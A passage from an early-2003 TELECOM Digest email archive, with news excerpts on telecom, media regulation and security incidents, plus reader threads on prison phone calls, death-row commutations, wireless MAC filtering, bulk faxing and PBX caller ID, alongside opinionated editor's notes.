president even keeps a punching bag, which no doubt came in handy for relieving stress when poor ratings sunk his new sitcom, Bram & Alice, after only four episodes this fall. More often than not, though, it has been Moonves standing over the TV fallen. This year, in fact, CBS is the only one of the four largest networks to have seen its audience grow. As of January, it's also the top-rated net in the land. And Moonves doesn't mind putting up his dukes when it comes to the competition. Last year, the one-time actor came out swinging against ABC, which tried to lure away CBS's late-night talk-show host David Letterman. Now he's at it again, this time taking on one of the most time-honored of Hollywood traditions: The Great Pretender. If imitation is the sincerest form of flattery, Hollywood must be the most sincere place on earth. Think about it. How many times have you flicked on the tube and thought you've seen a show before? Well, heck, you have! Despite all the creative geniuses who belly up to their tables at Spago, what Hollywood does best is repackage the same few concepts over and over. http://www.businessweek.com/bwdaily/dnflash/jan2003/nf20030113_0543.htm ------------------------------ Date: Tue, 14 Jan 2003 13:29:26 -0500 From: Monty Solomon Subject: Regulatory Future? More Uncertainty As the FCC conducts its triennial review of rules for the telecommunications industry, glimpses into the secretive process give hints of deep ideological and political divides within the commission, with little apparent room for agreement or compromise. by Alex Goldman ISP-Planet Associate Editor [January 10, 2003] http://www.isp-planet.com/politics/2003/uncertainty.html ------------------------------ Date: Tue, 14 Jan 2003 13:45:45 -0500 From: Monty Solomon Subject: Is the RIAA ""Hacking You Back""? By Andrew Orlowski in San Francisco Posted: 14/01/2003 at 00:29 GMT The RIAA is preparing to infect MP3 files in order to audit and eventually disable file swapping, according to a startling claim by hacker group Gobbles. In a posting to the Bugtraq mailing list, Gobbles himself claims to have offered his code to the RIAA, creating a monitoring ""hydra"". http://www.theregister.co.uk/content/6/28842.html ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: FEATURE-Samsung Pressure Gives Motorola Insomnia Date: Tue, 14 Jan 2003 18:17:45 -0500 By Yukari Iwatani CHICAGO, Jan 14 (Reuters) - If executives at the world's second-largest mobile phone maker, Motorola Inc. (NYSE:MOT), are having trouble sleeping, it could be because they are getting a wake-up call from Samsung Electronics Co. Ltd. (KOREA:05930) The South Korean cell phone maker is known for the aggressive ways in which it gains and keeps contracts. Last year it flew 400 engineers halfway around the world from Korea to Kansas, where they worked round-the-clock with colleagues back home to produce a new phone for U.S. wireless telephone operator Sprint PCS Group (NYSE:PCS). That kind of determination has helped Samsung double its market share in two years, overtaking both Germany's Siemens AG and Sony Ericsson (SWED:ERIC.B)(TOKYO:6758). The Korean handset maker vaulted into the world's No. 3 position in 2002 from No. 6 in 2000, and is now knocking on the doors of market leaders Nokia (HELS:NOK1V) and Motorola. Wireless industry analysts expect Samsung to boost its global share to 15 percent by 2004 from 10.6 percent at the end of last year's third quarter. At that rate it could overtake Motorola, which according to Gartner Dataquest had 14.4 percent market share at the end of the same period. http://finance.lycos.com/home/news/story.asp?story=30904512 ------------------------------ From: hes@hes01.unity.ncsu.edu (Henry E Schaffer) Subject: Re: Keystone Kops & Kollect Kalls Date: Tue, 14 Jan 2003 15:44:13 +0000 (UTC) Organization: North Carolina State University In article , Joey Lindstrom wrote: > Each and every man (and woman) in prison has been found guilty by a > judge and/or jury (do you have trials by judge alone in the US? In > Canada, the accused can elect for such a trial). It is therefore > inappropriate to assume their innocence until proven otherwise -- it > already has been proven otherwise. Well, except for the ones who are awaiting trial -- sometimes for a time period approaching or exceeding a year. > We now assume their guilt -- and thus the appropriateness of > punishing them and otherwise restricting their rights, ie: the right > to make cheap phone calls -- until their innocence is otherwise > proven. ... Is keeping them from making phone calls cheaply really an intentional punishment? If so, why not just keep them from making any phone calls -- or perhaps restricting them to one call a month? (not to exceed three minutes.) I thought that there also is supposed to be an aim of rehabilitation along with punishment -- and keeping prisoners from talking to their families might actually be counter productive. henry schaffer hes@ncsu.edu [TELECOM Digest Editor's Note: Henry, your *theory* is quite correct. One thing that Joey Lindstrom did not realize when he wrote his screed (and I neglected to respond on) was the large number of people locked up in dungeon-like jails (Cook County in Chicago -- the largest jail in the world -- for one example) who are treated *as though they are already guilty* even though they have not been to court; oftentimes not even once at that point. It is quite common for an arrested person being held at Cook County Jail to not even be allowed to contact his lawyer or family for the first three or four days of his arrival; then when he *can* get to a phone, it has to be one of those (pardon me!) God-damned collect calls for several dollars. They do everything in their power to work around the requirement that inmates be allowed to notify family and attornies of their whereabouts, all in the name of institutional administrivia of course. Even the payphones in the police lockups in Chicago are on the same system. From the *very instant* one of the fine, noble, honest police officers in the 'Chicago system' (i.e. Chicago, and any of the suburbs) puts his sights on you, forget about any phone calls until *he* decides you should be allowed to make one, and then it will be at a payphone which is set to only make collect outgoing calls, using an automated operator-voice which informs the recipient of the call that 'this is a collect call from an inmate in a correctional institution, will you accept the charges? Press one to accept, two to decline.' And God help you if you do decide to accept it. If you do not press one or two, but simply stand there trying to make sense of it all, the message will repeat itself a couple times, then assume you said 'no' and disconnect, telling the arrested party the charges were declined. 'Rehabilitation' is not a word in the vocabulary of a police officer or other correctional employee in Chicago. Oh, for a few very young, very liberal social workers running around in the jail it is, but they soon grow out of it also. And yes, there are many jail inmates who are there for a year or more awaiting trial. Often times, if the police/prosecutor case is weak or non-existent, they know the only punishment you will get at all is the administrivia they can dish out, so they put you on a back burner and let you stew for a year or so before a trial is set up. PAT] ------------------------------ From: Linda Davis Organization: Subject: Re: Illinois Death Row is Empty Today Date: Tue, 14 Jan 2003 19:35:39 -0500 Patrick Townson wrote: > In a *very courageous* move on Saturday, Illinois governor Jim Ryan > totally vacated the state's 'death row', saying that there were too > many inconsistencies and problems with the way in which the prisoners > got there. All the inmates were commuted to much lesser sentences; > four (that makes about 12 in total) were totally pardoned as a result > of police/prosecutor misconduct in their trials. A few of the more than > 108 residents of death row were commuted to life in prison. A few others > were commuted to 40 year sentences. So you think that the prisoners might be innocent or unfairly punished by juries and the next rounds of appeals. But you were in such hurry to celebrate excusing brutal murders that you don't care at all that the convicts who Ryan commuted to life or 40 years in prison just lose their future appellate review process. While they were on death row, they were awaiting their right to further appellate review. That's gone. What could be more arbitrary then removing the right to an appeal that these convicts no longer have? If these convicts were really innocent, tough luck now. With a stroke of the pen Mr. Ryan overruled the decisions of 167 judges and juries. He complained that the death penalty is arbitrary, yet there is nothing more arbitrary then across the board executive orders. So who were these nice people Mr. Ryan just excused? ""In 1999 with the help of his girlfriend, Fedell Caffey shot and killed a 28-year-old pregnant mother, her 10-year-old daughter and her 7-year-old son. If that weren't horrific enough, the two then carved a nearly full-term unborn child from the mother's body with a pair of scissors. Then there's Howard Bean, who disguised himself as a priest and then handcuffed and shot 81-year-old Dorothy Polulach inside her home. Or Lenard Johnson, who murdered an 11-year-old boy he'd been babysitting and was holding a knife to the throat of one of two girls he'd raped when the police arrived. ""As far as the evidence goes, it's pretty overwhelming against my client,"" Johnson's public defender was quoted as saying. There's also the odor of bad faith. Barely a month ago, Governor Ryan met with families of the people raped or killed or attacked by these inmates and told them he was leaning against a blanket reprieve. ""They have a right to feel betrayed,"" the Governor admitted after his speech."" -excerpt from ""Wall St Journal"" > Police around Chicago area are today gunning for the governor, to say > the least. They hate him. Police do not like DNA testing either, > except when the results go the way they want. It is interesting you can stereotype all ""Police"" and tell us what ""Police"" hate and what ""Police"" want. [TELECOM Digest Editor's Note: Ms. Davis, I can stereotype all police in the same way you can stereotype all death row inmates. One good stereo- type deserves another, wouldn't you agree? You say death row inmates are all guilty as hell; I suggest many/most Chicago area prosecutors and police officers are going to the same place. They don't even begin to deal in good faith. All the truly guilty people on death row are not worth one innocent person there. And Ryan found not one; not two, but *four* totally innocent men on death row, to say nothing of the *13 other cases* of innocence there which your beloved system got around to discharging without so much as a single 'we are sorry for this' over the past few years. Ryan only totally released four, the system in its good time released 13 others before he got involved. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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Townson Book Review: Web Security, Privacy and Commerce (Rob Slade) FCC's Powell Concerned by Media Concentration (Monty Solomon) Orange SPV MS Smartphone Cert Security Cracked (Monty Solomon) Microsoft Announces Government Security Program (Monty Solomon) Swearing Off (and at) My Yahoo (Monty Solomon) Dish 921 PVR Info From AVS Forum (Monty Solomon) Phreakers Target Texas A&M (Monty Solomon) Vatican Warns Against On-Line Confession (Monty Solomon) West Point Establishes Secure Wireless Network (Monty Solomon) Re: How to Detect an 'Invasive' MAC (Andy Finkenstadt) Re: How to Detect an 'Invasive' MAC (Mark Atwood) Re: How to Detect an 'Invasive' MAC (Linc Madison) Re: Article by Consumer Reports on Cellular and 911 (John R. Levine) Re: Is the RIAA ""Hacking You Back""? (Brian Inglis) Re: Can I Send Bulk Faxes Through SuperFax/ Bitware? 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Rob Slade Organization: Vancouver Institute for Research into User Date: Wed, 15 Jan 2003 08:03:00 -0800 Subject: Book Review: Web Security, Privacy and Commerce, Garfinkel/Spafford BKWBSPCM.RVW 20021106 ""Web Security, Privacy and Commerce"", Simson Garfinkel/Gene Spafford, 2002, 0-596-00045-6, U$44.95/C$67.95 %A Simson Garfinkel simsong@aol.com %A Gene Spafford spaf@cs.purdue.edu %C 103 Morris Street, Suite A, Sebastopol, CA 95472 %D 2002 %G 0-596-00045-6 %I O'Reilly & Associates, Inc. %O U$44.95/C$67.95 800-998-9938 707-829-0515 nuts@ora.com %O http://www.amazon.com/exec/obidos/ASIN/0596000456/robsladesinterne %P 756 p. %T ""Web Security, Privacy and Commerce"" Anyone who does not know the names Spafford and Garfinkel simply does not know the field of data security. The authors, therefore, are well aware that data security becomes more complex with each passing week. This is, after all, the second edition of what was originally published under the title ""Web Security and Commerce,"" and, while it is still recognizable as such, the work is essentially completely re- written. The authors note, in the Preface, that the book cannot hope to cover all aspects of Web security, and therefore they concentrate on those topics that are absolutely central to the concept, and/or not widely available elsewhere. Works on related issues are suggested both at the beginning and end of the book. A greatly expanded part one introduces the topic, and the various factors involved in Web security. Chapter one is a very brief overview of Web security considerations and requirements, with some material on general security concepts and risk analysis. The underlying architecture of the Web is examined in chapter two, although this is basically limited to Internet structures. (While the material is quite informative, perhaps some examples of HTTP [HyperText Transfer Protocol] would add value.) Cryptography is explained reasonably well in chapter three: there is no in-depth discussion of cryptographic algorithms, but these details can be readily found in other works. Chapter four deals with cryptographic uses, and also with legal restrictions. The concepts and limitations of SSL (Secure Sockets Layer) and TLS (Transport Layer Security) are given in chapter five, although the operational details are not covered. Chapter six starts out with a general discussion of identification and authentication,but then gets bogged down in the details of using PGP (Pretty Good Privacy). The coverage of digital certificates, in chapter seven, is likewise constricted by a dependence upon system technicalities. Part two concerns the user. Chapter two looks at the various possible problems with browsers, not all of which are related to Web page programming. Chapter eight looks analytically at the possible invasions of privacy that can occur on the Web. Some non-technical techniques of protecting your privacy, such as good password choice, are described in chapter nine, with various technical means listed in chapter ten. Chapter eleven reviews backups and some physical protection systems. ActiveX and the limitations of authentication certificates, as well as plugins and Visual Basic, are thoroughly explored in chapter twelve. Java security is only marginally understood by many ""experts,"" and not at all by users, so the coverage in chapter thirteen is careful to point out the difference between safety, security, and the kind of security risks that can occur even if the sandbox *is* secure. Part three details technical aspects of securing Web servers. Chapter fourteen looks at physical security and disaster recovery measures. Traditional host security weaknesses are reviewed in chapter fifteen. Rules for secure CGI (Common Gateway Interface) and API (Application Programmer Interface) programming are promulgated in chapter sixteen, along with tips for various languages. More details on the server- side use of SSL is given in chapter seventeen. Chapter eighteen looks at specific strengthening measures for Web servers. You legal options for prosecuting a computer crime is reviewed in chapter nineteen. Commercial and societal concerns in regard to content are major areas in Web security, so part six reviews a number of topics related to commerce, as well as other social factors. Chapter twenty discusses a number of technical access control technologies, by system. Obtaining a client-side certificate is described in chapter twenty one. Microsoft's Authenticode system is reviewed yet again in chapter twenty two. Censorship and site blocking are carefully examined in chapter twenty three. Privacy policies, systems, and legislation are reviewed in chapter twenty four. Chapter twenty five looks at current non-cash payment systems, and the various existing, and proposed, digital payment systems for online commerce. Having already studied criminal problems earlier, the book now turns to civil and intellectual property issues, such as copyright, in chapter twenty six. Although it has almost nothing to do with Web security as such, I very much enjoyed Appendix A, Garfinkel's recounting of the lessons learned in setting up a small ISP (Internet Service Provider). (I suppose that this could be considered valid coverage of Web commerce.) The other appendices are more directly related to the topic, including the SSL protocol, the PICS (Platform for Internet Content Selection) specification, and references. Although the material has been valuably expanded and updated, some of the new content is less worthwhile. The extensive space given to specific products will probably date quickly, although the surrounding conceptual text will continue to provide helpful guidance. Certainly for anyone dealing with Web servers or running ISPs, this is a reference to consider seriously. copyright Robert M. Slade, 1998, 2002 BKWBSPCM.RVW 20021106 ====================== (quote inserted randomly by Pegasus Mailer) rslade@vcn.bc.ca rslade@sprint.ca slade@victoria.tc.ca p1@canada.com Backups? We doan *NEED* no steenking baX%^~,VbKx NO CARRIER http://victoria.tc.ca/techrev or http://sun.soci.niu.edu/~rslade ------------------------------ Date: Wed, 15 Jan 2003 02:25:06 -0500 From: Monty Solomon Subject: FCC's Powell Concerned by Media Concentration By Andy Sullivan WASHINGTON, Jan 14 (Reuters) - U.S. officials will probably not radically lift ownership limits on television stations, newspapers and other media when they take up the issue this year, the top telecommunications regulator told Congress on Tuesday. Federal Communications Commission Chairman Michael Powell said the agency would not allow one company to dominate local airwaves or other media outlets when it revisits the long-standing rules under court order. - http://finance.lycos.com/home/news/story.asp?story=30905021 ------------------------------ Date: Wed, 15 Jan 2003 02:33:06 -0500 From: Monty Solomon Subject: Orange SPV MS Smartphone Cert Security Cracked By John Lettice The Orange SPV has achieved the dubious distinction of being the first Microsoft smartphone to have its security cracked. Orange as set the phones up so they will only run Orange-certified applications, but as yet hasn't got much further than promises when it comes to telling people how you develop for it, get apps certified, get development systems and so on. http://212.100.234.54/content/59/28857.html ------------------------------ Date: Wed, 15 Jan 2003 02:27:39 -0500 From: Monty Solomon Subject: Microsoft Announces Government Security Program Program Allows for Robust Security Audits of Windows Platform REDMOND, Wash., Jan. 14 /PRNewswire-FirstCall/ -- National governments and their principal agencies face more serious security threats than other technology consumers do. In matters ranging from national defense to protection of citizens' personal data, national governments must place security at the forefront of their information technology requirements. Recognizing this, Microsoft Corp. (NASDAQ:MSFT) today announced the Government Security Program (GSP), a global initiative that provides national governments with controlled access to Microsoft(R) Windows(R) source code and other technical information they need to be confident in the enhanced security features of the Windows platform. The GSP is one integral element in Microsoft's efforts to address the unique security requirements of governments and international organizations throughout the world. Russia and NATO have already signed GSP agreements with Microsoft, and the company is in discussions with more than 20 countries about their interest in the program. Participation in the GSP will be disclosed at the discretion of each government signatory, and Microsoft is committed to honoring confidentiality where necessary. http://finance.lycos.com/home/news/story.asp?story=30908352 ------------------------------ Date: Wed, 15 Jan 2003 08:00:05 -0500 From: Monty Solomon Subject: Swearing Off (and at) My Yahoo by Marc Hedlund Recently, I logged into My Yahoo! and saw the following: http://www.precipice.org/idiots.gif (I've obscured the username.) Yeah, it was my birthday. Yahoo knew it was my birthday -- how? Well, see, when you register for an account on Yahoo, they ask you your date of birth so that, as they say, ""If you forget your password, we [can] identify you with this information."" Yahoo, you IDIOTS! WHAT are you thinking!? If you use birthdate as a means of password recovery, why would you put that information right on a user's home page? If it's supposed to be a shared secret, don't you think you ought to keep it secret?! (Ahem. Excuse me.) http://www.oreillynet.com/pub/wlg/2597 ------------------------------ Date: Wed, 15 Jan 2003 10:46:24 -0500 From: Monty Solomon Subject: Dish 921 PVR Info From AVS Forum http://www.avsforum.com/avs-vb/showthread.php?s=469ec07b391b56000b3a5e1e4cd18836&threadid=210910 ------------------------------ Date: Wed, 15 Jan 2003 10:01:18 -0500 From: Monty Solomon Subject: Phreakers Target Texas A&M Excerpt from SANS NewsBites Vol. 5 Num. 02 http://www.sans.org/newsletters/newsbites/vol5_2.php 10 January 2003 -- Phreakers Target Texas A&M Texas A&M University's telephone system was hit by phone phreakers who guessed voice mailbox passwords and altered messages to accept charges for long distance calls. Everyone at the University has been advised to change voice mailbox passwords. http://www.cnn.com/2003/US/Southwest/01/10/university.phones.reut/ ------------------------------ Date: Wed, 15 Jan 2003 10:02:09 -0500 From: Monty Solomon Subject: Vatican Warns Against On-Line Confession Excerpt from SANS NewsBites Vol. 5 Num. 02 http://www.sans.org/newsletters/newsbites/vol5_2.php 10 January 2003 Vatican Warns Against On-Line Confession The Vatican has warned against using the Internet to hear confessions, as hackers could potentially use the private information to blackmail people. http://www.timesonline.co.uk/article/0,,3-538079,00.html [Editor's Note (Grefer): It would be just as easy to bug a church's confessional.] [TELECOM Digest Editor's Note: In fact that was done a few times. The confessional at St. Peter's Church in Chicago was bugged by police a few years ago when the police were trying to catch someone. Police did not have authority to do this from the Pope, the Cardinal (in Chicago), or any of the priests assigned to hear confessions at St. Peter's Church. They just did it ... after all, we are police, we don't need to get any permission to do our thing. It was the old 'Red Squad' unit in the Chicago Police. When the bug was found, and exterminated, Chicago Police were asked about it: Their only comment, a very lame one at that was, 'we sure hope there were not any hard feelings'. Oddly, or maybe not so odd, that was the same thing they said after Governor Ryan pardoned and released uneqivically four men from death row this past week, whose innocence was firmly established. PAT] ------------------------------ Date: Wed, 15 Jan 2003 10:03:07 -0500 From: Monty Solomon Subject: West Point Establishes Secure Wireless Network Excerpt from SANS NewsBites Vol. 5 Num. 02 http://www.sans.org/newsletters/newsbites/vol5_2.php West Point has established what it believes to be a highly secure wireless network on its campus. The security measures, which include a virtual private network (VPN) and sixty access controllers, cost the school five times what it paid for the wireless network itself. Because its network is connected to the Defense Department's network, West Point wanted to make sure every security precaution was taken. http://chronicle.com/free/2003/01/2003010801t.htm ------------------------------ From: Andy Finkenstadt Subject: Re: How to Detect an 'Invasive' MAC Date: Wed, 15 Jan 2003 05:01:10 +0000 (UTC) Organization: PANIX Public Access Internet and UNIX, NYC Reply-To: kahuna@panix.com In jared@hwai.com (Jared) writes: > However, if they're using my network, it strikes me that their > MAC's should be visible and I can use a built-in filtering rule to at > least make them keep acquiring NIC's on a regular basis. Does anyone > know of any tools to do this, or should I expect my vendor (SMC) to > provide this info (I didn't see it in the manual) from the AP itself? Actually I think they can change their MAC address at any time, even faking other vendors' cards. You might be better off accepting connections in the AP only from the listed MAC, and even that doesn't protect you under all circumstances from the war-rider impersonating your MAC address and grabbing your traffic. Andrew Finkenstadt (http://www.finkenstadt.com/andy/) ------------------------------ From: Mark Atwood Subject: Re: How to Detect an 'Invasive' MAC Date: 14 Jan 2003 21:17:26 -0800 Organization: Posted via Supernews, http://www.supernews.com jared@hwai.com (Jared) writes: > I have decided that I can't really stop warsniffers from discovering > my network, eventually sniffing out my WEP keys and cracking their way > in. However, if they're using my network, it strikes me that their > MAC's should be visible and I can use a built-in filtering rule to at > least make them keep acquiring NIC's on a regular basis. Does anyone > know of any tools to do this, or should I expect my vendor (SMC) to > provide this info (I didn't see it in the manual) from the AP itself? Pointless. When they are cracking their way in, expect to see them duplicate your own MAC address, as many APs now have MAC access list control. Mark Atwood | Well done is better than well said. mra@pobox.com | http://www.pobox.com/~mra ------------------------------ From: Linc Madison Subject: Re: How to Detect an 'Invasive' MAC Date: Wed, 15 Jan 2003 02:41:21 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Jared wrote: > I am setting up my first WLAN. > I have decided that I can't really stop warsniffers from discovering > my network, eventually sniffing out my WEP keys and cracking their > way in. However, if they're using my network, it strikes me that > their MAC's should be visible and I can use a built-in filtering rule > to at least make them keep acquiring NIC's on a regular basis. Does > anyone know of any tools to do this, or should I expect my vendor > (SMC) to provide this info (I didn't see it in the manual) from the > AP itself? I have an Apple AirPort setup. The config software for the base station allows me as one of the security options to restrict connections to a white list of permitted MACs. You have to have both a known MAC address and the password. If your MAC isn't on my list, you're out of luck. I would expect that my packets will still be out there for the world to sniff, but at least strangers can't inject any packets into my network. I don't know of any stronger measures you can take; if someone just passively eavesdrops on your packets, it's nearly impossible to detect, let alone prevent. [Of course, it happens that my MACs are associated with Macs, but that's a coincidence.] www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Article by Consumer Reports on Cellular and 911 Date: 15 Jan 2003 01:13:27 -0500 Organization: I.E.C.C., Trumansburg NY USA > He's saying it may be a FCC violation *NOT* to kick over to the > alternate carrier. If you'd clicked on the link and read the full article on the CU web site, it claims that there's an FCC rule that requires analog cell phones to use the strongest available system for 911 calls, but the rule apparently hasn't been extended to digital and dual-mode phone. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ Date: Wed, 15 Jan 2003 08:13:28 +0000 (GMT) From: Brian Inglis Subject: Re: Is the RIAA ""Hacking You Back""? Organization: Systematic Software On Tue, 14 Jan 2003 13:45:45 -0500, Monty Solomon wrote: > By Andrew Orlowski in San Francisco > Posted: 14/01/2003 at 00:29 GMT > The RIAA is preparing to infect MP3 files in order to audit and > eventually disable file swapping, according to a startling claim by > hacker group Gobbles. In a posting to the Bugtraq mailing list, > Gobbles himself claims to have offered his code to the RIAA, creating > a monitoring ""hydra"". > http://www.theregister.co.uk/content/6/28842.html So it looks like viruses, worms, trojans, etc. attached to copyrighted material are no longer illegal in the US? Or does this law apply only to the RIAA and members? Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis@CSi.com (Brian dot Inglis at SystematicSw dot ab dot ca) fake address use address above to reply abuse@aol.com tosspam@aol.com abuse@att.com abuse@earthlink.com abuse@hotmail.com abuse@mci.com abuse@msn.com abuse@sprint.com abuse@yahoo.com abuse@cadvision.com abuse@shaw.ca abuse@telus.com abuse@ibsystems.com uce@ftc.gov spam traps ------------------------------ From: january2003@saurasite.com Subject: Re: Can I Send Bulk Faxes Through SuperFax/ Bitware? Date: Wed, 15 Jan 2003 14:50:25 +0200 Please note that the address ""january2003@saurasite.com is a temporary address, and is valid only until the end of the current month. (Pat, as an aside, the only address that I have ever had *seriously* compromised spam-wise is one that was published here - sorry, but that *is* the awful truth :-)) On 13 Jan 2003 07:09:31 -0800, in comp.dcom.telecom nirwani@rediffmail.com (Dhirender) wrote: > send the faxes. Would the free versions of Bitware of Supervoice > support sending about 400 numbers at one time? Bitfax would probably do just fine ... In the help files it says this about groups: | If you frequently send the same fax to a group of recipients, | creating a phone book group can save you a lot of time. | For example, if you routinely send the same fax to your clients | in New York, you can create a group called ""New York Clients."" | Then when you want to send a fax to each person in that group, | all you have to do is select the ""New York Clients"" group, instead | of manually selecting each record I use V 3.30.06 (which dates back to somewhere around Windows 3.1) but still works just fine under my current 98 SE, and I have yet to find a low-priced alternative that is anything like as good .... I also run it full time on an *old* machine to receive faxes, and unlike so many other packages, it never falls over. > Is there any other free software that could do that? Is there any > other alternative? I would take a serious look at one of the old Bitfaxes first ... it's a genuine ""oldie but goodie"" ... Cheers, Frank R. P. [TELECOM Digest Editor's Note: I know what you are saying is true. The readership base is so large here, and that includes spammers and other scum. Sorry, I cannot do anything it, at least at present. I've thought of a few tricks, such as printing no names and addresses at all, and just printing commentaries, but that is really unfair to readers who wish to communicate with each other without going through me. I'm still thinking about solutions, but not having much luck. PAT] ------------------------------ Date: Wed, 15 Jan 2003 08:41:17 -0500 From: No Spam Subject: Caller ID on CFWD No Answer on Merlin Legend I'm curious about responses from others on this as well. Here's what I know ... I'm running a Legend rel 7 v9.0 CKE3 with a PRI from a CLEC on a DMS100 CO using 23B + D. I can't speak to the drop-and-insert for data connectivity. With respect to the forwarding ... I forward my extension to my wireless phone when I leave the office every day. The only CallerID I see on 'forwarded' calls is the BTN/ANI for the PRI trunk group. If we place a regular DOD call from a station, the proper CallerID is sent. The Legend can only handle a single NPA/NXX for callerID purposes, so if you intend to send station specific CallerID information, you need to be sure that every station fits within your DID plan, and that they are ALL in the same npa/nxx. (If you do place an outbound call with a 'non-did' station, it will be prepended with your DID npa/nxx, and will display the 'wrong' number on the far end. I don't know if that 'mistake' is illegal or not.) The only 'other' option is to assign a static CallerID assignment on a 'per B channel' basis (like having copper trunks with one number per trunk). Another consideration for the above is whether your telco validates the CallerID being sent. (For example, since we have a 'mixed' npa/nxx DID range, I was trying to configure our toll-free number on each B channel so that would be displayed on the far end ... however our CLEC won't pass the toll-free number.) As far as forwarding in the 'rest of the world' ... I think it's a matter of telco implementation. I also forward my home phone (provided by an RBOC LEC on a 5ESS) to my wireless phone, and the number that is displayed on the 'forward destination' end is the 'original' caller, and not my home (forwarding) number. Joshua I speak for myself but not necessarily for my employer .... luvencl@potmail.com wrote: > I am getting ready to convert a LUCENT Legend Release 7.0 to T1 PRI, > and I have a couple of questions. > The local operating company BellSouth is going to supply a Fractional > PRI with internet data on DS0's 11-23. Ch 24 is of course the B > channel. > And DS0's 1-10 will be dedicated to the Lucent Legend switch. I am > looking for someone that has actually seen this done successfully, and > also would like to find out if caller ID on DOD calls has the options > of displaying the actual DID extension's phone number? And finally, > on a call forward no answer (Lucent call this FWD with delay) will the > incoming called ID info be passed on through the DOD call? Example, > someone on PSTN calls 555-555-1001, (which will DID to ext 101 on the > PBX). Ext 101 does not answer, call gets routed to another outside > line via two-way trunk over PRI. What will the destination end get for > caller ID? Will it be the originating end's called ID or the > extension's called ID? > To reply, please note I have anti spam setup. Please change the p to > an h as in hotmail. Thanks very much for your time and help in > advance! luvencl@potmail.com > [TELECOM Digest Editor's Note: I can tell you my experience with SBC > and forward on busy/no answer is that the eventual recipient of the > call (my cell phone, usually) gets the number of my house line, rather > than the caller's number. That's a nuisance, since my answer phrase > would change according to the number of the caller *if I knew what it > was*. Telco explained it to me this way: YOU are making the call to > your cell phone. We are simply automating the process. But oddly > enough, if I use immediate call forwarding on my home line, the number > of the original caller gets forwarded also. In other words, just the > opposite process. Any explanations for that? PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Wed, 15 Jan 2003 10:06:36 -0500 From: Monty Solomon Subject: NSA Reports Benchmarks Eradicate 91% Of Tested Vulnerabilities Excerpt from SANS NewsBites Vol. 5 Num. 02 http://www.sans.org/newsletters/newsbites/vol5_2.php --December 2002 NSA Reports Benchmarks Eradicate 91% Of Tested Vulnerabilities The most recent US Department of Defense Information Assurance Newsletter reports that tests run by the National Security Agency measured the impact of applying security configuration benchmarks, specifically the Center for Internet Security/NSA/GSA/NIST Windows 2000 Consensus Security Baseline Settings. Applying the baseline settings eliminated more than 95% of high priority vulnerabilities (as determined by a popular commercial scanner) and 91% of all vulnerabilities. Download the complete IA Newsletter at http://iac.dtic.mil/iatac/news_events/pdf/Vol5_No3.pdf The NSA data is presented and analyzed beginning on page 10. The baseline settings, referenced in the article, are available for download from www.cisecurity.org along with a free tool that tests your system for compliance. ------------------------------ Date: Wed, 15 Jan 2003 10:04:00 -0500 From: Monty Solomon Subject: Microsoft Reader e-Book Software Circumvention Code Posted Excerpt from SANS NewsBites Vol. 5 Num. 02 http://www.sans.org/newsletters/newsbites/vol5_2.php British programmer Dan Jackson has posted software that circumvents the copy protection on Microsoft Reader e-book software. Both the program and its source code are posted on Jackson's site; the program's creator wants to remain anonymous, according to Jackson. He says his involvement with the project stems from his desire ""to read e-books on older platforms."" Microsoft is examining its options, which include taking legal action. http://www.theregister.co.uk/content/4/28749.html http://news.com.com/2100-1023-979778.html [Editor's Note (Murray): We have heard that defense before. No one cares what he does to satisfy his own reading appetite. He does not have to publish on the Internet to do that.] [TELECOM Digest Editor's Note specifically to Murray: We have heard Microsoft apologists like you before also. If he wants to help others, (and that is one objective of the internet, is it not?) the internet would seem a very good place to publish his work. Why is it Microsoft, RIAA and many others are using the internet without understanding the reasons for which it was started and is still basically used? If those people do not want their stuff copied/abused by others, then they should not be putting it on the net. My short e-book, *Genesis 39* will be available on the net; whatever money I make from it is not the reason I am making it available in this forum; it is intended to share with the community of netizens. PAT] ------------------------------ Date: Wed, 15 Jan 2003 10:58:34 -0500 From: Monty Solomon Subject: Hong Kong Gym Pulls Plug on Camera Cell Phones By Doug Young HONG KONG (Reuters) - Warning: use of camera-equipped mobile phones could be hazardous to your health. That's the message going out from at least one chain of health clubs in Hong Kong, where a new generation of cell phones that can take and transmit video and still photos is raising concerns over a new crop of privacy-related issues. Physical, which operates nine gyms in the former British colony, recently posted signs in its Hong Kong facilities forbidding the use of mobile phones in locker rooms. http://news.lycos.com/news/story.asp?section=OddNews&storyId=623861 ------------------------------ Date: Wed, 15 Jan 2003 11:04:57 -0500 From: Monty Solomon Subject: Supreme Court Upholds Copyright Law Extension By James Vicini WASHINGTON (Reuters) - The U.S. Supreme Court upheld Wednesday a 1998 law extending copyright protection by 20 years, delaying when creative works such as Walt Disney Co.'s Mickey Mouse cartoons, F. Scott Fitzgerald's novels and George Gershwin's songs become public property. The 7-2 ruling was a victory for supporters of the law, including large media companies and song publishers that argued the longer term was needed to protect a vital industry that contributes more than $500 billion to the U.S. economy. It dealt a defeat to an Internet publisher and others who challenged the law for limiting free speech and for harming the creative process by locking up material that they said should be in the public domain for all to use without charge. http://news.lycos.com/news/story.asp?section=Politics&storyId=624841 ------------------------------ Date: Wed, 15 Jan 2003 11:07:42 -0500 From: Monty Solomon Subject: Unintended Consequences: Four Years under the DMCA 1. Executive Summary Since they were enacted in 1998, the ""anti-circumvention"" provisions of the Digital Millennium Copyright Act (""DMCA""), codified in section 1201 of the Copyright Act, have not been used as Congress envisioned. Congress meant to stop copyright pirates from defeating anti-piracy protections added to 